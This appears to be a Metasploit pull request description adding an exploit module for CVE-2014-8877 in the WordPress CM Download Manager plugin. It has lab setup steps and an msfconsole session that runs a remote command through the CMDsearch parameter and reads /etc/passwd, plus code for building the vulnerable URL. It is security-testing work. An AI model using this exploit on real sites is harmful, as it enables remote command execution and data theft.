Add module for Wordpress CM Download Manager plugin (CVE-2014-8877)

## Preparation

- Install latest version of Wordpress on Linux machine
- Get vulnerable version of Wordpress CM Download Manager plugin: `svn co -r 1007950 http://plugins.svn.wordpress.org/cm-download-manager/trunk/ cm-dw-manager`
- Prepare plugin for installation: `find cm-dw-manager/ -type d -name .svn -print0 | xargs -0 rm -rf; zip -r cm-download-manager.zip cm-dw-manager/`
- Upload it to `wp-content/plugins` directory. Unzip. Activate in admin panel.

## Verification

- Run msfconsole
- select, configure & check exploit:
```
msf > use exploits/unix/webapp/wp_cmdownloadmanager_cmdsearch_execmsf exploit(wp_cmdownloadmanager_cmdsearch_exec) > set RHOST 192.168.77.239
RHOST => 192.168.77.239
msf exploit(wp_cmdownloadmanager_cmdsearch_exec) > set TARGETURI /wordpress
TARGETURI => /wordpress
msf exploit(wp_cmdownloadmanager_cmdsearch_exec) > show options

Module options (exploit/unix/webapp/wp_cmdownloadmanager_cmdsearch_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        Use a proxy chain
   RHOST      192.168.77.239   yes       The target address
   RPORT      80               yes       The target port
   TARGETURI  /wordpress       yes       The base path to the wordpress application
   VHOST                       no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(wp_cmdownloadmanager_cmdsearch_exec) > check
[*] 192.168.77.239:80 - The target appears to be vulnerable.
msf exploit(wp_cmdownloadmanager_cmdsearch_exec) > set PAYLOAD cmd/unix/generic
PAYLOAD => cmd/unix/generic
msf exploit(wp_cmdownloadmanager_cmdsearch_exec) > set CMD "cat /etc/passwd"
CMD => cat /etc/passwd
```
- Run exploit:
```
msf exploit(wp_cmdownloadmanager_cmdsearch_exec) > exploit

[*] The server returned: 200 OK
[*] Command output from the server:

root:x:0:0:root:/root:/bin/bash
...
```

`vulnUrl = normalize_uri(datastore['TARGETURI'], "cmdownloads/?CMDsearch=#{p}")`
or
`vulnUrl = normalize_uri(datastore['TARGETURI'], "cmdownloads")` if we can use the `vars_get` approach from below